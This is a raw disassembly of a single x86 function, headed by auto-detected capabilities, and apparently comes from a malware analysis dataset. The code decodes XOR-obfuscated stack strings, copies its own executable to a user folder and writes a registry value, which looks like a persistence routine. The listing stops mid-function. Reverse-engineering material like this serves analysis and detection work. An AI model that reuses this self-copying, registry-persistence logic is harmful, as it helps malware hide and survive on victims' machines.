Function at 0x417d90
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503a57
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x558
push esi
mov dword [ebp - 0x14], 0
xor ecx, ecx
push edi
mov dword [ebp - 0x1c], 0xd000737
mov dword [ebp - 0x18], 0x1003a24
nop dword [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 6
jb 0x417de0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417df8
mov esi, closesocket
sub ecx, edx
mov edx, dword [0x533b44]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x419af0
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x1c]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x1cc]
call fcn.0046cf70
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x1b], 0x3e263222
mov word [ebp - 0x17], 0x20
mov byte [ebp - 0x15], 1
nop dword [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 5
jb 0x417e60
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417e78
sub ecx, edx
mov eax, esi
mov edx, dword [0x533b44]
sub eax, edx
cmp eax, ecx
jb 0x419af5
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x1b]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x25c]
call fcn.0046cf70
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x1b], 0x38203628
mov word [ebp - 0x17], 0x21
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 5
jb 0x417ed3
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417ef0
sub ecx, edx
mov eax, esi
mov edx, dword [0x533b44]
sub eax, edx
cmp eax, ecx
jb 0x419afa
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x1b]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x184]
call fcn.0046cf70
push 0x200
lea eax, [ebp - 0x568]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x568]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1a4], 0
lea ecx, [ebp - 0x568]
mov dword [ebp - 0x1a0], 0
movups xmmword [ebp - 0x1b4], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417f90
sub ecx, edx
lea eax, [ebp - 0x568]
push ecx
push eax
lea ecx, [ebp - 0x1b4]
call fcn.00402810
mov dword [ebp - 0x28], 0x1e
push 0x104
lea eax, [ebp - 0x368]
mov byte [ebp - 4], 3
push 0
push eax
mov dword [ebp - 0x6c], 0x104
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x368]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x49], 0x29242929
xor ecx, ecx
mov dword [ebp - 0x45], 0x3c3b2b25
mov dword [ebp - 0x41], 0x313b2f29
mov word [ebp - 0x3d], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 0xc
jb 0x418002
lea eax, [ebp - 0x49]
mov byte [ebp - 0x3c], 0
push eax
call fcn.004eb101
mov edx, eax
add esp, 4
test edx, edx
je 0x41852b
mov ecx, edx
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418047
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x84]
call fcn.00402810
lea eax, [ebp - 0x13]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x84]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
call fcn.004652c0
cmp dword [ebp - 0x1b8], 0x10
lea ecx, [ebp - 0x1cc]
mov edx, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x1bc]
sub eax, edx
mov dword [ebp - 0x30], edx
push edi
push ecx
cmp edi, eax
ja 0x4180d4
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x84]
mov dword [ebp - 0x74], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x30]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x4180e7
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x84]
push dword [ebp - 0x30]
push edi
call fcn.0046b360
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
push 0x536230
cmovae esi, dword [ebp - 0x84]
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x419aff
test esi, esi
je 0x418156
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418116
sub ecx, edx
je 0x418156
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x418147
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x418147
cmp eax, 0x20
je 0x418147
cmp eax, 0x45
je 0x418147
cmp eax, 0x24
jne 0x418156
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x418176
push 0x536230
call fcn.004dba03
add esp, 4
lea ecx, [ebp - 0x84]
call fcn.00415c80
test al, al
je 0x4184f0
mov dword [ebp - 0x28], 0xd1f034b
xor ecx, ecx
mov word [ebp - 0x24], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 4
jb 0x418185
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x23], 0
mov word [ebp - 0x13], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x11], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4181a7
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x74]
sub eax, edx
cmp eax, ecx
jb 0x419b05
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
push ecx
cmovae eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x9c]
call fcn.0046cf70
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1cc]
cmp dword [ebp - 0x1b8], 0x10
mov esi, dword [ebp - 0x88]
mov eax, esi
cmovae ecx, dword [ebp - 0x1cc]
mov edi, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0x8c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41824e
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x9c]
cmovae eax, dword [ebp - 0x9c]
lea esi, [eax + edx]
push esi
call fcn.004de150
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x9c]
jmp 0x418261
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x9c]
push dword [ebp - 0x30]
push edi
call fcn.0046b360
mov dword [ebp - 0xa4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xb4]
call fcn.004652c0
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x28], 0x39e
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x418336
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41832c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b0a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x41838f
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418385
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b0a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x8c], 0
lea eax, [ebp - 0x68]
mov dword [ebp - 0x88], 0xf
mov ecx, esp
mov byte [ebp - 0x9c], 0
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x4184b8
cmp dword [ebp - 0x54], 0x10
lea ecx, [ebp - 0x68]
push 0
cmovae ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x1b4]
cmp dword [ebp - 0x1a0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4184b8
movaps xmm0, xmmword [0x525950]
xor ecx, ecx
movups xmmword [ebp - 0x153], xmm0
mov dword [ebp - 0x133], 0xedd1f2eb
movaps xmm0, xmmword [0x5263d0]
movups xmmword [ebp - 0x143], xmm0
mov dword [ebp - 0x12f], 0xe3e2f9fb
mov dword [ebp - 0x12b], 0xe5ddd2e3
mov word [ebp - 0x127], 0xff
mov byte [ebp - 0x125], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x153], al
inc ecx
cmp ecx, 0x2d
jb 0x418445
lea eax, [ebp - 0x14]
mov byte [ebp - 0x125], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x153]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4184b8
push dword [ebp - 0x58]
cmp dword [ebp - 0x54], 0x10
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x1cc]
cmovae ecx, dword [ebp - 0x68]
cmp dword [ebp - 0x1b8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1cc]
push 1
push 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x4184f0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4184e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b0f
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x41852b
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418521
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b14
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x36], 0x382a2331
xor ecx, ecx
mov word [ebp - 0x32], 0x100
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 4
jb 0x418540
lea eax, [ebp - 0x36]
mov byte [ebp - 0x31], 0
push eax
call fcn.004eb101
movaps xmm0, xmmword [str._:_9___68_6]
mov esi, eax
add esp, 4
mov dword [ebp - 0x30], esi
movups xmmword [ebp - 0x4c], xmm0
mov byte [ebp - 0x3c], 1
xor ecx, ecx
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0xf
jb 0x418574
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x3c], 0
push eax
call fcn.004eb101
mov edx, eax
add esp, 4
test edx, edx
je 0x4196e8
mov ecx, edx
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4185c0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x84]
call fcn.00402810
lea eax, [ebp - 0x13]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x84]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
call fcn.004652c0
cmp dword [ebp - 0x170], 0x10
lea ecx, [ebp - 0x184]
mov edx, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x70]
mov edi, dword [ebp - 0x174]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x41864d
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x84]
mov dword [ebp - 0x74], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x418666
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x84]
push dword [ebp - 0x14]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x174]
cmp dword [ebp - 0x70], 0x10
lea esi, [ebp - 0x84]
push 0x536230
cmovae esi, dword [ebp - 0x84]
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x419b19
test esi, esi
je 0x4186d5
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418695
sub ecx, edx
je 0x4186d5
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4186c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4186c6
cmp eax, 0x20
je 0x4186c6
cmp eax, 0x45
je 0x4186c6
cmp eax, 0x24
jne 0x4186d5
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x41874f
push 0x536230
call fcn.004dba03
add esp, 4
mov dword [ebp - 0xbc], 0
cmp dword [ebp - 0x70], 0x10
lea edx, [ebp - 0x84]
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
cmovae edx, dword [ebp - 0x84]
mov ecx, edx
movups xmmword [ebp - 0xcc], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418716
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xcc]
call fcn.00402810
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xcc]
mov eax, dword [ebp - 0x28]
or eax, 1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
call fcn.00415c80
mov byte [ebp - 0x29], 0
test al, al
je 0x418753
mov byte [ebp - 0x29], 1
mov dword [ebp - 4], 0xa
test byte [ebp - 0x28], 1
je 0x41879a
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x41879a
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418790
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b1f
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp byte [ebp - 0x29], 0
je 0x4196aa
mov dword [ebp - 0x1a], 0xd1f034b
xor ecx, ecx
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 4
jb 0x4187b3
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x15], 0
mov word [ebp - 0x13], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x11], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4187d5
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x74]
sub eax, edx
cmp eax, ecx
jb 0x419b24
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
push ecx
cmovae eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x68]
call fcn.0046cf70
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
mov esi, dword [ebp - 0x54]
mov eax, esi
cmovae ecx, dword [ebp - 0x184]
mov edx, dword [ebp - 0x58]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x418861
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
lea esi, [eax + edx]
push esi
call fcn.004de150
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x68]
jmp 0x418877
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x68]
push dword [ebp - 0x26]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x174]
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1a]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x9c]
call fcn.004652c0
mov dword [ebp - 0x15c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x158], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x16c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x15c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x418954
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41894a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b29
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x4189a7
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41899d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b29
push ecx
push edx
call fcn.004dc6f1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x58], 0
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x54], 0xf
mov ecx, esp
mov byte [ebp - 0x68], 0
push eax
call fcn.004655b0
call fcn.0040ba20
add esp, 0x18
test al, al
jne 0x41966c
cmp dword [ebp - 0x158], 0x10
lea ecx, [ebp - 0x16c]
push 0
cmovae ecx, dword [ebp - 0x16c]
lea eax, [ebp - 0x1b4]
cmp dword [ebp - 0x1a0], 0x10
push ecx
cmovae eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41966c
movaps xmm0, xmmword [0x525ea0]
xor ecx, ecx
movups xmmword [ebp - 0x124], xmm0
mov dword [ebp - 0x114], 0x581b045a
mov dword [ebp - 0x110], 0x343c3331
mov dword [ebp - 0x10c], 0x2b2d38
mov byte [ebp - 0x108], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x124], al
inc ecx
cmp ecx, 0x1b
jb 0x418a50
mov byte [ebp - 0x108], 0
xor ecx, ecx
mov dword [ebp - 0x44], 0x1c484647
mov dword [ebp - 0x40], 0x494a07
mov byte [ebp - 0x3c], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 7
jb 0x418a80
mov byte [ebp - 0x3c], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x1c484647
mov dword [ebp - 0x19], 0x494a1b
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x418aa6
xorps xmm0, xmm0
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x368]
mov dword [ebp - 0x234], 0
movups xmmword [ebp - 0x244], xmm0
mov dword [ebp - 0x230], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418ae0
sub ecx, edx
lea eax, [ebp - 0x368]
push ecx
push eax
lea ecx, [ebp - 0x244]
call fcn.00402810
mov byte [ebp - 4], 0x11
xor ecx, ecx
movaps xmm0, xmmword [0x525390]
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf4], 0x58115955
mov dword [ebp - 0xf0], 0x5c2e2856
mov word [ebp - 0xec], 0x5f
mov byte [ebp - 0xea], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x104], al
inc ecx
cmp ecx, 0x19
jb 0x418b34
lea eax, [ebp - 0x244]
mov byte [ebp - 0xea], 0
push eax
lea edx, [ebp - 0x104]
lea ecx, [ebp - 0xe8]
call fcn.00469420
add esp, 4
lea ecx, [ebp - 0x1d]
mov byte [ebp - 4], 0x12
push ecx
mov ecx, eax
call fcn.004652c0
mov dword [ebp - 0xa4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
mov ecx, dword [ebp - 0x15c]
cmovae edx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
sub eax, esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], esi
push ecx
push edx
cmp ecx, eax
ja 0x418c33
cmp dword [ebp - 0xa0], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0xa4], eax
lea esi, [ebp - 0xb4]
cmovae esi, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x28]
add eax, esi
push eax
call fcn.004de150
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0xb4]
jmp 0x418c46
mov byte [ebp - 0x26], 0
push dword [ebp - 0x26]
push ecx
lea ecx, [ebp - 0xb4]
call fcn.0046b360
mov dword [ebp - 0x1ec], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1fc], xmm0
mov dword [ebp - 0x1e8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1fc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1ec], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x1fc]
call fcn.004652c0
mov dword [ebp - 0x18c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x19c], xmm0
mov dword [ebp - 0x188], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x19c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
mov ecx, dword [ebp - 0x18c]
cmovae edx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x188]
sub eax, ecx
mov dword [ebp - 0x28], ecx
push edi
push edx
cmp edi, eax
ja 0x418d4e
cmp dword [ebp - 0x188], 0x10
lea esi, [ebp - 0x19c]
lea eax, [ecx + edi]
cmovae esi, dword [ebp - 0x19c]
mov dword [ebp - 0x18c], eax
lea eax, [esi + ecx]
push eax
call fcn.004de150
mov eax, dword [ebp - 0x28]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x19c]
jmp 0x418d67
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x19c]
push dword [ebp - 0x26]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x174]
mov dword [ebp - 0x1d4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1e4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1d4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1e4]
call fcn.004652c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x104], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x1d0]
cmp ecx, 0x10
jb 0x418e29
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418e1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b2e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1d0], 0xf
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x188]
cmp ecx, 0x10
jb 0x418e82
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418e78
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b2e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x188], 0xf
mov byte [ebp - 0x19c], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0x10
jb 0x418edb
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418ed1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b2e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1e8], 0xf
mov byte [ebp - 0x1fc], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x418f34
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418f2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b2e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0x10
jb 0x418f8d
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418f83
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
